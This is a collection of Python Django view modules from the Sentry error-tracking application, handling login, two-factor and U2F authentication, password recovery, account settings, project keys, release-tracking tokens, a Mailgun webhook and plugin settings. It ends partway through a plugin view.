class AuthLogoutView(BaseView):
    auth_required = False

    def handle(self, request):
        rv = get_login_redirect(request)
        logout(request)
        request.user = AnonymousUser()
        return self.redirect(rv)






from __future__ import absolute_import

from sentry.models import Authenticator
from sentry.web.frontend.base import BaseView


class AccountSecurityView(BaseView):
    def handle(self, request):
        return self.respond('sentry/account/security.html', {
            'page': 'security',
            'has_2fa': Authenticator.objects.user_has_2fa(request.user),
        })






from __future__ import absolute_import

import six
import time

from django.http import HttpResponseRedirect, HttpResponse
from django.utils.translation import ugettext as _

from sentry import options
from sentry.web.frontend.base import BaseView
from sentry.web.forms.accounts import TwoFactorForm
from sentry.web.helpers import render_to_response, get_login_url
from sentry.utils import auth, json
from sentry.models import Authenticator


COOKIE_NAME = 's2fai'
COOKIE_MAX_AGE = 60 * 60 * 24 * 31


class TwoFactorAuthView(BaseView):
    auth_required = False

    def perform_signin(self, request, user, interface=None):
        auth.login(request, user, passed_2fa=True)
        rv = HttpResponseRedirect(auth.get_login_redirect(request))
        if interface is not None:
            interface.authenticator.mark_used()
            if not interface.is_backup_interface:
                rv.set_cookie(
                    COOKIE_NAME,
                    six.text_type(interface.type).encode('utf-8'),
                    max_age=COOKIE_MAX_AGE, path='/')
        return rv

    def fail_signin(self, request, user, form):
        # Ladies and gentlemen: he world's shittiest bruteforce
        # prevention.
        time.sleep(2.0)
        form.errors['__all__'] = [
            _('Invalid confirmation code. Try again.')]

    def negotiate_interface(self, request, interfaces):
        # If there is only one interface, just pick that one.
        if len(interfaces) == 1:
            return interfaces[0]

        # Next option is to go with the interface that was selected in the
        # URL.
        interface_id = request.GET.get('interface')
        if interface_id:
            for interface in interfaces:
                if interface.interface_id == interface_id:
                    return interface

        # Fallback case an interface was remembered in a cookie, go with that
        # one first.
        interface_type = request.COOKIES.get(COOKIE_NAME)
        if interface_type:
            for interface in interfaces:
                if six.text_type(interface.type) == interface_type:
                    return interface

        # Fallback is to go the highest ranked as default.  This will be
        # the most common path for first time users.
        return interfaces[0]

    def get_other_interfaces(self, selected, all):
        rv = []

        can_validate_otp = selected.can_validate_otp
        backup_interface = None

        for idx, interface in enumerate(all):
            if interface.interface_id == selected.interface_id:
                continue
            if idx == 0 or interface.requires_activation:
                rv.append(interface)
                if interface.can_validate_otp:
                    can_validate_otp = True
            if backup_interface is None and \
               interface.can_validate_otp and \
               interface.is_backup_interface:
                backup_interface = interface

        if not can_validate_otp and backup_interface is not None:
            rv.append(backup_interface)

        return rv

    def validate_otp(self, otp, selected_interface, all_interfaces=None):
        if selected_interface.validate_otp(otp):
            return selected_interface
        for interface in all_interfaces or ():
            if interface.interface_id != selected_interface.interface_id and \
               interface.is_backup_interface and \
               interface.validate_otp(otp):
                return interface

    def handle(self, request):
        user = auth.get_pending_2fa_user(request)
        if user is None or request.user.is_authenticated():
            return HttpResponseRedirect(get_login_url())

        interfaces = Authenticator.objects.all_interfaces_for_user(user)

        # If for whatever reason we ended up here but the user has no 2FA
        # enabled, we just continue successfully.
        if not interfaces:
            return self.perform_signin(request, user)

        challenge = activation = None
        interface = self.negotiate_interface(request, interfaces)
        if request.method == 'GET':
            activation = interface.activate(request)
            if activation is not None and activation.type == 'challenge':
                challenge = activation.challenge
        elif 'challenge' in request.POST:
            challenge = json.loads(request.POST['challenge'])

        form = TwoFactorForm()

        # If an OTP response was supplied, we try to make it pass.
        otp = request.POST.get('otp')
        if otp:
            used_interface = self.validate_otp(otp, interface, interfaces)
            if used_interface is not None:
                return self.perform_signin(request, user, used_interface)
            self.fail_signin(request, user, form)

        # If a challenge and response exists, validate
        if challenge:
            response = request.POST.get('response')
            if response:
                response = json.loads(response)
                if interface.validate_response(request, challenge, response):
                    return self.perform_signin(request, user, interface)
                self.fail_signin(request, user, form)

        return render_to_response(['sentry/twofactor_%s.html' %
                                   interface.interface_id,
                                   'sentry/twofactor.html'], {
            'form': form,
            'interface': interface,
            'other_interfaces': self.get_other_interfaces(interface, interfaces),
            'activation': activation,
        }, request, status=200)


def u2f_appid(request):
    facets = options.get('u2f.facets')
    if not facets:
        facets = [options.get('system.url-prefix')]
    return HttpResponse(json.dumps({
        'trustedFacets': [{
            'version': {
                'major': 1,
                'minor': 0
            },
            'ids': [x.rstrip('/') for x in facets]
        }]
    }), content_type='application/fido.trusted-apps+json')






from __future__ import absolute_import

from sudo.views import SudoView as BaseSudoView

from sentry.models import Authenticator
from sentry.utils import json


class SudoView(BaseSudoView):
    template_name = 'sentry/account/sudo.html'

    def handle_sudo(self, request, redirect_to, context):
        if BaseSudoView.handle_sudo(self, request, redirect_to, context):
            return True

        try:
            interface = Authenticator.objects.get_interface(request.user, 'u2f')
            if not interface.is_enrolled:
                raise LookupError()
        except LookupError:
            return False

        challenge = interface.activate(request).challenge
        if request.method == 'POST':
            if 'challenge' in request.POST and 'response' in request.POST:
                try:
                    challenge = json.loads(request.POST['challenge'])
                    response = json.loads(request.POST['response'])
                except ValueError:
                    pass
                else:
                    if interface.validate_response(request, challenge, response):
                        return True
        context['u2f_challenge'] = challenge
        return False






"""
sentry.web.frontend.accounts
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2012 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django.contrib import messages
from django.contrib.auth import login as login_user, authenticate
from django.core.context_processors import csrf
from django.core.urlresolvers import reverse
from django.db import IntegrityError, transaction
from django.http import HttpResponseRedirect, Http404
from django.views.decorators.cache import never_cache
from django.views.decorators.csrf import csrf_protect
from django.utils import timezone
from django.utils.translation import ugettext as _
from sudo.decorators import sudo_required

from sentry.models import (
    UserEmail, LostPasswordHash, Project, UserOption, Authenticator
)
from sentry.signals import email_verified
from sentry.web.decorators import login_required, signed_auth_required
from sentry.web.forms.accounts import (
    AccountSettingsForm, AppearanceSettingsForm,
    RecoverPasswordForm, ChangePasswordRecoverForm,
)
from sentry.web.helpers import render_to_response, get_login_url
from sentry.utils.auth import get_auth_providers, get_login_redirect


def send_password_recovery_mail(user):
    password_hash, created = LostPasswordHash.objects.get_or_create(
        user=user
    )
    if not password_hash.is_valid():
        password_hash.date_added = timezone.now()
        password_hash.set_hash()
        password_hash.save()
    password_hash.send_recover_mail()
    return password_hash


@login_required
def login_redirect(request):
    login_url = get_login_redirect(request)
    return HttpResponseRedirect(login_url)


def expired(request, user):
    password_hash = send_password_recovery_mail(user)
    return render_to_response('sentry/account/recover/expired.html', {
        'email': password_hash.user.email,
    }, request)


def recover(request):
    form = RecoverPasswordForm(request.POST or None,
                               captcha=bool(request.session.get('needs_captcha')))
    if form.is_valid():
        password_hash = send_password_recovery_mail(form.cleaned_data['user'])
        request.session.pop('needs_captcha', None)

        return render_to_response('sentry/account/recover/sent.html', {
            'email': password_hash.user.email,
        }, request)

    elif request.POST and not request.session.get('needs_captcha'):
        request.session['needs_captcha'] = 1
        form = RecoverPasswordForm(request.POST or None, captcha=True)
        form.errors.pop('captcha', None)

    context = {
        'form': form,
    }
    return render_to_response('sentry/account/recover/index.html', context, request)


def recover_confirm(request, user_id, hash):
    try:
        password_hash = LostPasswordHash.objects.get(user=user_id, hash=hash)
        if not password_hash.is_valid():
            password_hash.delete()
            raise LostPasswordHash.DoesNotExist
        user = password_hash.user

    except LostPasswordHash.DoesNotExist:
        context = {}
        tpl = 'sentry/account/recover/failure.html'

    else:
        tpl = 'sentry/account/recover/confirm.html'

        if request.method == 'POST':
            form = ChangePasswordRecoverForm(request.POST)
            if form.is_valid():
                user.set_password(form.cleaned_data['password'])
                user.save()

                # Ugly way of doing this, but Django requires the backend be set
                user = authenticate(
                    username=user.username,
                    password=form.cleaned_data['password'],
                )

                login_user(request, user)

                password_hash.delete()

                return login_redirect(request)
        else:
            form = ChangePasswordRecoverForm()

        context = {
            'form': form,
        }

    return render_to_response(tpl, context, request)


@login_required
def start_confirm_email(request):
    has_unverified_emails = request.user.has_unverified_emails()
    if has_unverified_emails:
        request.user.send_confirm_emails()
        msg = _('A verification email has been sent to %s.') % request.user.email
    else:
        msg = _('Your email (%s) has already been verified.') % request.user.email
    messages.add_message(request, messages.SUCCESS, msg)
    return HttpResponseRedirect(reverse('sentry-account-settings'))


def confirm_email(request, user_id, hash):
    msg = _('Thanks for confirming your email')
    level = messages.SUCCESS
    try:
        email = UserEmail.objects.get(user=user_id, validation_hash=hash)
        if not email.hash_is_valid():
            raise UserEmail.DoesNotExist
    except UserEmail.DoesNotExist:
        if request.user.is_anonymous() or request.user.has_unverified_emails():
            msg = _('There was an error confirming your email. Please try again or '
                    'visit your Account Settings to resend the verification email.')
            level = messages.ERROR
    else:
        email.is_verified = True
        email.validation_hash = ''
        email.save()
        email_verified.send(email=email.email, sender=email)
    messages.add_message(request, level, msg)
    return HttpResponseRedirect(reverse('sentry-account-settings'))


@csrf_protect
@never_cache
@login_required
@transaction.atomic
def settings(request):
    user = request.user

    form = AccountSettingsForm(
        user, request.POST or None,
        initial={
            'email': user.email,
            'username': user.username,
            'name': user.name,
        },
    )

    if form.is_valid():
        old_email = user.email

        form.save()

        # remove previously valid email address
        # TODO(dcramer): we should maintain validation here when we support
        # multiple email addresses
        if request.user.email != old_email:
            UserEmail.objects.filter(user=user, email=old_email).delete()
            try:
                with transaction.atomic():
                    user_email = UserEmail.objects.create(
                        user=user,
                        email=user.email,
                    )
            except IntegrityError:
                pass
            else:
                user_email.set_hash()
                user_email.save()
            user.send_confirm_emails()

        messages.add_message(
            request, messages.SUCCESS, 'Your settings were saved.')
        return HttpResponseRedirect(request.path)

    context = csrf(request)
    context.update({
        'form': form,
        'page': 'settings',
        'has_2fa': Authenticator.objects.user_has_2fa(request.user),
        'AUTH_PROVIDERS': get_auth_providers(),
    })
    return render_to_response('sentry/account/settings.html', context, request)


@csrf_protect
@never_cache
@login_required
@sudo_required
@transaction.atomic
def twofactor_settings(request):
    interfaces = Authenticator.objects.all_interfaces_for_user(
        request.user, return_missing=True)

    if request.method == 'POST' and 'back' in request.POST:
        return HttpResponseRedirect(reverse('sentry-account-settings'))

    context = csrf(request)
    context.update({
        'page': 'security',
        'has_2fa': any(x.is_enrolled and not x.is_backup_interface for x in interfaces),
        'interfaces': interfaces,
    })
    return render_to_response('sentry/account/twofactor.html', context, request)


@csrf_protect
@never_cache
@login_required
@transaction.atomic
def avatar_settings(request):
    context = csrf(request)
    context.update({
        'page': 'avatar',
        'AUTH_PROVIDERS': get_auth_providers(),
    })
    return render_to_response('sentry/account/avatar.html', context, request)


@csrf_protect
@never_cache
@login_required
@transaction.atomic
def appearance_settings(request):
    from django.conf import settings

    options = UserOption.objects.get_all_values(user=request.user, project=None)

    form = AppearanceSettingsForm(request.user, request.POST or None, initial={
        'language': options.get('language') or request.LANGUAGE_CODE,
        'stacktrace_order': int(options.get('stacktrace_order', -1) or -1),
        'timezone': options.get('timezone') or settings.SENTRY_DEFAULT_TIME_ZONE,
        'clock_24_hours': options.get('clock_24_hours') or False,
    })
    if form.is_valid():
        form.save()
        messages.add_message(request, messages.SUCCESS, 'Your settings were saved.')
        return HttpResponseRedirect(request.path)

    context = csrf(request)
    context.update({
        'form': form,
        'page': 'appearance',
        'AUTH_PROVIDERS': get_auth_providers(),
    })
    return render_to_response('sentry/account/appearance.html', context, request)


@csrf_protect
@never_cache
@signed_auth_required
@transaction.atomic
def email_unsubscribe_project(request, project_id):
    # For now we only support getting here from the signed link.
    if not request.user_from_signed_request:
        raise Http404()
    try:
        project = Project.objects.get(pk=project_id)
    except Project.DoesNotExist:
        raise Http404()

    if request.method == 'POST':
        if 'cancel' not in request.POST:
            UserOption.objects.set_value(
                request.user, project, 'mail:alert', 0)
        return HttpResponseRedirect(get_login_url())

    context = csrf(request)
    context['project'] = project
    return render_to_response('sentry/account/email_unsubscribe_project.html',
                              context, request)


@csrf_protect
@never_cache
@login_required
def list_identities(request):
    from social_auth.models import UserSocialAuth

    identity_list = list(UserSocialAuth.objects.filter(user=request.user))

    AUTH_PROVIDERS = get_auth_providers()

    context = csrf(request)
    context.update({
        'identity_list': identity_list,
        'page': 'identities',
        'AUTH_PROVIDERS': AUTH_PROVIDERS,
    })
    return render_to_response('sentry/account/identities.html', context, request)






from __future__ import absolute_import

from django.db import transaction
from django.http import Http404, HttpResponseRedirect
from django.views.decorators.cache import never_cache
from django.utils.decorators import method_decorator

from sentry.models import Group, GroupSubscription, OrganizationMember
from sentry.web.decorators import signed_auth_required
from sentry.web.frontend.base import BaseView
from sentry.utils.http import absolute_uri

signed_auth_required_m = method_decorator(signed_auth_required)


class UnsubscribeIssueNotificationsView(BaseView):
    auth_required = False

    @never_cache
    @signed_auth_required_m
    @transaction.atomic
    def handle(self, request, issue_id):
        if not getattr(request, 'user_from_signed_request', False):
            raise Http404

        try:
            group = Group.objects.get_from_cache(id=issue_id)
        except Group.DoesNotExist:
            raise Http404

        if not OrganizationMember.objects.filter(
            user=request.user,
            organization=group.project.organization,
        ).exists():
            raise Http404

        issue_link = absolute_uri('/{}/{}/issues/{}/'.format(
            group.project.organization.slug,
            group.project.slug,
            group.id,
        ))

        if request.method == 'POST':
            if request.POST.get('op') == 'unsubscribe':
                GroupSubscription.objects.create_or_update(
                    group=group,
                    project=group.project,
                    user=request.user,
                    is_active=False,
                )
            return HttpResponseRedirect(issue_link)

        return self.respond('sentry/unsubscribe-issue-notifications.html', {
            'issue': group,
            'issue_link': issue_link
        })






from __future__ import absolute_import

from django.contrib import messages
from django.core.urlresolvers import reverse
from django.utils.translation import ugettext_lazy as _

from sentry.models import AuditLogEntryEvent, ProjectKey, ProjectKeyStatus
from sentry.web.frontend.base import ProjectView


class DisableProjectKeyView(ProjectView):
    required_scope = 'project:write'

    def post(self, request, organization, team, project, key_id):
        try:
            key = ProjectKey.objects.get(id=key_id)
        except ProjectKey.DoesNotExist:
            return self.redirect(reverse('sentry-manage-project-keys', args=[project.organization.slug, project.slug]))

        key.update(status=ProjectKeyStatus.INACTIVE)

        self.create_audit_entry(
            request,
            organization=organization,
            target_object=key.id,
            event=AuditLogEntryEvent.PROJECTKEY_DISABLE,
            data=key.get_audit_log_data(),
        )

        messages.add_message(
            request, messages.SUCCESS,
            _('The API key (%s) was disabled.') % (key.public_key,))

        return self.redirect(reverse('sentry-manage-project-keys', args=[project.organization.slug, project.slug]))






from __future__ import absolute_import

from sentry.celery import app
from sentry.web.frontend.base import BaseView


class AdminQueueView(BaseView):
    def has_permission(self, request):
        return request.is_superuser()

    def handle(self, request):
        context = {
            'task_list': sorted(app.tasks.keys()),
        }

        return self.respond('sentry/admin-queue.html', context)






from __future__ import absolute_import

from django.conf import settings
from django.http import HttpResponse
from django.middleware.csrf import get_token as get_csrf_token
from django.template import loader, Context

from sentry.models import Project
from sentry.signals import first_event_pending
from sentry.web.frontend.base import BaseView, OrganizationView


class ReactMixin(object):
    def get_context(self, request):
        # this hook is utilized by getsentry
        return {
            'request': request,
            'CSRF_COOKIE_NAME': settings.CSRF_COOKIE_NAME,
        }

    def handle_react(self, request):
        context = Context(self.get_context(request))

        # Force a new CSRF token to be generated and set in user's
        # Cookie. Alternatively, we could use context_processor +
        # template tag, but in this case, we don't need a form on the
        # page. So there's no point in rendering a random `<input>` field.
        get_csrf_token(request)

        template = loader.render_to_string('sentry/bases/react.html', context)

        response = HttpResponse(template)
        response['Content-Type'] = 'text/html'

        return response


# TODO(dcramer): once we implement basic auth hooks in React we can make this
# generic
class ReactPageView(OrganizationView, ReactMixin):
    def handle(self, request, organization, **kwargs):
        if 'project_id' in kwargs and request.GET.get('onboarding'):
            project = Project.objects.filter(organization=organization, slug=kwargs['project_id']).first()
            first_event_pending.send(project=project, user=request.user, sender=self)
        return self.handle_react(request)


class GenericReactPageView(BaseView, ReactMixin):
    def handle(self, request, **kwargs):
        return self.handle_react(request)






from __future__ import absolute_import

from hashlib import sha256

import hmac

from django.contrib import messages
from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext_lazy as _
from uuid import uuid1

from sentry import constants
from sentry.models import ProjectOption
from sentry.plugins import plugins, ReleaseTrackingPlugin
from sentry.utils.http import absolute_uri
from sentry.web.frontend.base import ProjectView


OK_TOKEN_REGENERATED = _("Your deploy token has been regenerated. You will need to update any pre-existing deploy hooks.")

ERR_NO_FEATURE = _('The release tracking feature is not enabled for this project.')


class ProjectReleaseTrackingView(ProjectView):
    required_scope = 'project:write'

    def _iter_plugins(self):
        for plugin in plugins.all(version=2):
            if not isinstance(plugin, ReleaseTrackingPlugin):
                continue
            yield plugin

    def _handle_enable_plugin(self, request, project):
        plugin = plugins.get(request.POST['plugin'])
        plugin.enable(project)
        messages.add_message(
            request, messages.SUCCESS,
            constants.OK_PLUGIN_ENABLED.format(name=plugin.get_title()),
        )

    def _handle_disable_plugin(self, request, project):
        plugin = plugins.get(request.POST['plugin'])
        plugin.disable(project)
        messages.add_message(
            request, messages.SUCCESS,
            constants.OK_PLUGIN_DISABLED.format(name=plugin.get_title()),
        )

    def _regenerate_token(self, project):
        token = uuid1().hex
        ProjectOption.objects.set_value(project, 'sentry:release-token', token)
        return token

    def _get_signature(self, project_id, plugin_id, token):
        return hmac.new(
            key=token.encode('utf-8'),
            msg=('{}-{}'.format(plugin_id, project_id)).encode('utf-8'),
            digestmod=sha256,
        ).hexdigest()

    def handle(self, request, organization, team, project):
        token = None

        if request.method == 'POST':
            op = request.POST.get('op')
            if op == 'regenerate-token':
                token = self._regenerate_token(project)
                messages.add_message(
                    request, messages.SUCCESS,
                    OK_TOKEN_REGENERATED,
                )
            elif op == 'enable':
                self._handle_enable_plugin(request, project)
            elif op == 'disable':
                self._handle_disable_plugin(request, project)
            return HttpResponseRedirect(request.path)

        if token is None:
            token = ProjectOption.objects.get_value(project, 'sentry:release-token')
        if token is None:
            token = self._regenerate_token(project)

        enabled_plugins = []
        other_plugins = []
        for plugin in self._iter_plugins():
            if plugin.is_enabled(project):
                hook_url = absolute_uri(reverse('sentry-release-hook', kwargs={
                    'plugin_id': plugin.slug,
                    'project_id': project.id,
                    'signature': self._get_signature(project.id, plugin.slug, token),
                }))
                content = plugin.get_release_doc_html(hook_url=hook_url)
                enabled_plugins.append((plugin, mark_safe(content)))
            elif plugin.can_configure_for_project(project):
                other_plugins.append(plugin)

        context = {
            'page': 'release-tracking',
            'token': token,
            'enabled_plugins': enabled_plugins,
            'other_plugins': other_plugins,
            'webhook_url': absolute_uri(reverse('sentry-release-hook', kwargs={
                'plugin_id': 'builtin',
                'project_id': project.id,
                'signature': self._get_signature(project.id, 'builtin', token),
            }))
        }

        return self.respond('sentry/project-release-tracking.html', context)






from __future__ import absolute_import, print_function

from hashlib import sha256
import hmac
import logging

from django.http import HttpResponse
from django.views.decorators.csrf import csrf_exempt
from django.views.generic import View
from django.utils.crypto import constant_time_compare
from django.utils.decorators import method_decorator
from email_reply_parser import EmailReplyParser

from sentry import options
from sentry.tasks.email import process_inbound_email
from sentry.utils.email import email_to_group_id

logger = logging.getLogger('sentry.mailgun')


class MailgunInboundWebhookView(View):
    def verify(self, api_key, token, timestamp, signature):
        return constant_time_compare(signature, hmac.new(
            key=api_key.encode('utf-8'),
            msg=('{}{}'.format(timestamp, token)).encode('utf-8'),
            digestmod=sha256
        ).hexdigest())

    @method_decorator(csrf_exempt)
    def dispatch(self, *args, **kwargs):
        return super(MailgunInboundWebhookView, self).dispatch(*args, **kwargs)

    def post(self, request):
        token = request.POST['token']
        signature = request.POST['signature']
        timestamp = request.POST['timestamp']

        key = options.get('mail.mailgun-api-key')
        if not key:
            logger.error('mailgun.api-key-missing')
            return HttpResponse(status=500)

        if not self.verify(key, token, timestamp, signature):
            logger.info('mailgun.invalid-signature', extra={
                'token': token,
                'timestamp': timestamp,
                'signature': signature,
            })
            return HttpResponse(status=200)

        to_email = request.POST['recipient']
        from_email = request.POST['sender']

        try:
            group_id = email_to_group_id(to_email)
        except Exception:
            logger.info('mailgun.invalid-email', extra={
                'email': to_email,
            })
            return HttpResponse(status=200)

        payload = EmailReplyParser.parse_reply(request.POST['body-plain']).strip()
        if not payload:
            # If there's no body, we don't need to go any further
            return HttpResponse(status=200)

        process_inbound_email.delay(from_email, group_id, payload)

        return HttpResponse(status=201)






from __future__ import absolute_import, print_function

from django.core.urlresolvers import reverse

from sentry.auth.helper import AuthHelper
from sentry.web.frontend.base import BaseView


class AuthProviderLoginView(BaseView):
    auth_required = False

    def handle(self, request):
        helper = AuthHelper.get_for_request(request)
        if helper is None:
            return self.redirect(reverse('sentry-login'))

        if not helper.pipeline_is_valid():
            return helper.error('Something unexpected happened during authentication.')
        return helper.current_step()






"""
sentry.web.frontend
~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import






from __future__ import absolute_import

from django.views.generic import View
from django.template import Context, loader
from django.http import HttpResponseNotFound


class Error404View(View):
    def dispatch(self, request):
        context = {
            'request': request,
        }

        t = loader.get_template('sentry/404.html')
        return HttpResponseNotFound(t.render(Context(context)))






from __future__ import absolute_import

import csv
import six

from django.http import Http404, StreamingHttpResponse
from django.utils.text import slugify

from sentry.models import (
    GroupTagValue, TagKey, TagKeyStatus, Group, get_group_with_redirect
)
from sentry.web.frontend.base import ProjectView


# Python 2 doesn't support unicode with CSV, but Python 3 does via
# the encoding param
if six.PY3:
    def get_row(row):
        return (
            row.value,
            six.text_type(row.times_seen),
            row.last_seen.strftime('%Y-%m-%dT%H:%M:%S.%fZ'),
            row.first_seen.strftime('%Y-%m-%dT%H:%M:%S.%fZ'),
        )
else:
    def get_row(row):
        return (
            row.value.encode('utf-8'),
            six.text_type(row.times_seen),
            row.last_seen.strftime('%Y-%m-%dT%H:%M:%S.%fZ'),
            row.first_seen.strftime('%Y-%m-%dT%H:%M:%S.%fZ'),
        )


# csv.writer doesn't provide a non-file interface
# https://docs.djangoproject.com/en/1.9/howto/outputting-csv/#streaming-large-csv-files
class Echo(object):
    def write(self, value):
        return value


class GroupTagExportView(ProjectView):
    required_scope = 'event:read'

    def get(self, request, organization, project, team, group_id, key):
        try:
            # TODO(tkaemming): This should *actually* redirect, see similar
            # comment in ``GroupEndpoint.convert_args``.
            group, _ = get_group_with_redirect(
                group_id,
                queryset=Group.objects.filter(project=project),
            )
        except Group.DoesNotExist:
            raise Http404

        if TagKey.is_reserved_key(key):
            lookup_key = 'sentry:{0}'.format(key)
        else:
            lookup_key = key

        # validate existance as it may be deleted
        try:
            TagKey.objects.get(
                project=group.project_id,
                key=lookup_key,
                status=TagKeyStatus.VISIBLE,
            )
        except TagKey.DoesNotExist:
            raise Http404

        queryset = GroupTagValue.objects.filter(
            group=group,
            key=lookup_key,
        )

        def row_iter():
            yield ('value', 'times_seen', 'last_seen', 'first_seen')
            for row in queryset.iterator():
                yield get_row(row)

        pseudo_buffer = Echo()
        writer = csv.writer(pseudo_buffer)
        response = StreamingHttpResponse(
            (writer.writerow(r) for r in row_iter()),
            content_type='text/csv',
        )
        response['Content-Disposition'] = 'attachment; filename="{}-{}.csv"'.format(
            group.qualified_short_id or group.id, slugify(key)
        )
        return response






from __future__ import absolute_import

from django.conf import settings
from django.contrib import messages
from django.core.urlresolvers import reverse
from django.db import transaction
from django.http import HttpResponseRedirect
from django.utils.translation import ugettext_lazy as _
from django.views.decorators.cache import never_cache

from sentry import features
from sentry.constants import WARN_SESSION_EXPIRED
from sentry.http import get_server_hostname
from sentry.models import AuthProvider, Organization, OrganizationStatus
from sentry.web.forms.accounts import AuthenticationForm, RegistrationForm
from sentry.web.frontend.base import BaseView
from sentry.utils import auth

ERR_NO_SSO = _('The organization does not exist or does not have Single Sign-On enabled.')


class AuthLoginView(BaseView):
    auth_required = False

    def get_auth_provider(self, organization_slug):
        try:
            organization = Organization.objects.get(
                slug=organization_slug,
                status=OrganizationStatus.VISIBLE,
            )
        except Organization.DoesNotExist:
            return None

        try:
            auth_provider = AuthProvider.objects.get(
                organization=organization
            )
        except AuthProvider.DoesNotExist:
            return None

        return auth_provider

    def get_login_form(self, request):
        op = request.POST.get('op')
        return AuthenticationForm(
            request, request.POST if op == 'login' else None,
            captcha=bool(request.session.get('needs_captcha')),
        )

    def get_register_form(self, request):
        op = request.POST.get('op')
        return RegistrationForm(
            request.POST if op == 'register' else None,
            captcha=bool(request.session.get('needs_captcha')),
        )

    def handle_basic_auth(self, request):
        can_register = features.has('auth:register') or request.session.get('can_register')

        op = request.POST.get('op')

        # Detect that we are on the register page by url /register/ and
        # then activate the register tab by default.
        if not op and '/register' in request.path_info and can_register:
            op = 'register'

        login_form = self.get_login_form(request)
        if can_register:
            register_form = self.get_register_form(request)
        else:
            register_form = None

        if can_register and register_form.is_valid():
            user = register_form.save()
            user.send_confirm_emails(is_new_user=True)

            # HACK: grab whatever the first backend is and assume it works
            user.backend = settings.AUTHENTICATION_BACKENDS[0]

            auth.login(request, user)

            # can_register should only allow a single registration
            request.session.pop('can_register', None)

            request.session.pop('needs_captcha', None)

            return self.redirect(auth.get_login_redirect(request))

        elif login_form.is_valid():
            user = login_form.get_user()

            auth.login(request, user)

            request.session.pop('needs_captcha', None)

            if not user.is_active:
                return self.redirect(reverse('sentry-reactivate-account'))

            return self.redirect(auth.get_login_redirect(request))

        elif request.POST and not request.session.get('needs_captcha'):
            auth.log_auth_failure(request, request.POST.get('username'))
            request.session['needs_captcha'] = 1
            login_form = self.get_login_form(request)
            login_form.errors.pop('captcha', None)
            if can_register:
                register_form = self.get_register_form(request)
                register_form.errors.pop('captcha', None)

        # When the captcha fails, hide any other errors
        # to prevent brute force attempts.
        if 'captcha' in login_form.errors:
            for k in login_form.errors.keys():
                if k != 'captcha':
                    login_form.errors.pop(k)

        request.session.set_test_cookie()

        context = {
            'op': op or 'login',
            'server_hostname': get_server_hostname(),
            'login_form': login_form,
            'register_form': register_form,
            'CAN_REGISTER': can_register,
        }
        return self.respond('sentry/login.html', context)

    def handle_sso(self, request):
        org = request.POST.get('organization')
        if not org:
            return HttpResponseRedirect(request.path)

        auth_provider = self.get_auth_provider(request.POST['organization'])
        if auth_provider:
            next_uri = reverse('sentry-auth-organization',
                               args=[request.POST['organization']])
        else:
            next_uri = request.path
            messages.add_message(request, messages.ERROR, ERR_NO_SSO)

        return HttpResponseRedirect(next_uri)

    @never_cache
    @transaction.atomic
    def handle(self, request):
        if request.user.is_authenticated():
            return self.redirect_to_org(request)

        # Single org mode -- send them to the org-specific handler
        if settings.SENTRY_SINGLE_ORGANIZATION:
            org = Organization.get_default()
            next_uri = reverse('sentry-auth-organization',
                               args=[org.slug])
            return HttpResponseRedirect(next_uri)

        op = request.POST.get('op')
        if op == 'sso' and request.POST.get('organization'):
            auth_provider = self.get_auth_provider(request.POST['organization'])
            if auth_provider:
                next_uri = reverse('sentry-auth-organization',
                                   args=[request.POST['organization']])
            else:
                next_uri = request.path
                messages.add_message(request, messages.ERROR, ERR_NO_SSO)

            return HttpResponseRedirect(next_uri)

        session_expired = 'session_expired' in request.COOKIES
        if session_expired:
            messages.add_message(request, messages.WARNING, WARN_SESSION_EXPIRED)

        response = self.handle_basic_auth(request)

        if session_expired:
            response.delete_cookie('session_expired')

        return response






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect

from sentry.models import AuditLogEntryEvent, ProjectKey
from sentry.web.frontend.base import ProjectView


class CreateProjectKeyView(ProjectView):
    required_scope = 'project:write'

    def post(self, request, organization, team, project):
        key = ProjectKey.objects.create(
            project=project,
        )

        self.create_audit_entry(
            request,
            organization=organization,
            target_object=key.id,
            event=AuditLogEntryEvent.PROJECTKEY_ADD,
            data=key.get_audit_log_data(),
        )

        return HttpResponseRedirect(reverse('sentry-manage-project-keys', args=[project.organization.slug, project.slug]))






from __future__ import absolute_import

from django.contrib import messages
from django.utils.translation import ugettext_lazy as _

from sentry.plugins import plugins
from sentry.web.frontend.base import ProjectView


class ProjectPluginsView(ProjectView):
    required_scope = 'project:write'

    def handle(self, request, organization, team, project):
        if request.POST:
            enabled = set(request.POST.getlist('plugin'))
            for plugin in plugins.configurable_for_project(project, version=None):
                if plugin.slug in enabled:
                    plugin.enable(project)
                else:
                    plugin.disable(project)

            messages.add_message(
                request, messages.SUCCESS,
                _('Your settings were saved successfully.'))

            return self.redirect(request.path)

        context = {
            'page': 'plugins',
        }

        return self.respond('sentry/projects/plugins/list.html', context)






from __future__ import absolute_import

from django.contrib import messages
from django.http import HttpResponseRedirect, HttpResponse
from django.utils.safestring import mark_safe

from sentry import constants
from sentry.plugins import plugins, IssueTrackingPlugin, IssueTrackingPlugin2
from sentry.signals import plugin_enabled
from sentry.web.frontend.base import ProjectView


class ProjectIssueTrackingView(ProjectView):
    required_scope = 'project:write'

    def _iter_plugins(self):
        for plugin in plugins.all(version=1):
            if not (isinstance(plugin, IssueTrackingPlugin)
                    or isinstance(plugin, IssueTrackingPlugin2)):
                continue
            yield plugin

    def _handle_enable_plugin(self, request, project):
        plugin = plugins.get(request.POST['plugin'])
        plugin.enable(project)

        plugin_enabled.send(plugin=plugin, project=project, user=request.user, sender=self)

        messages.add_message(
            request, messages.SUCCESS,
            constants.OK_PLUGIN_ENABLED.format(name=plugin.get_title()),
        )

    def _handle_disable_plugin(self, request, project):
        plugin = plugins.get(request.POST['plugin'])
        plugin.disable(project)
        messages.add_message(
            request, messages.SUCCESS,
            constants.OK_PLUGIN_DISABLED.format(name=plugin.get_title()),
        )

    def handle(self, request, organization, team, project):
        if request.method == 'POST':
            op = request.POST.get('op')
            if op == 'enable':
                self._handle_enable_plugin(request, project)
                return HttpResponseRedirect(request.path)
            elif op == 'disable':
                self._handle_disable_plugin(request, project)
                return HttpResponseRedirect(request.path)

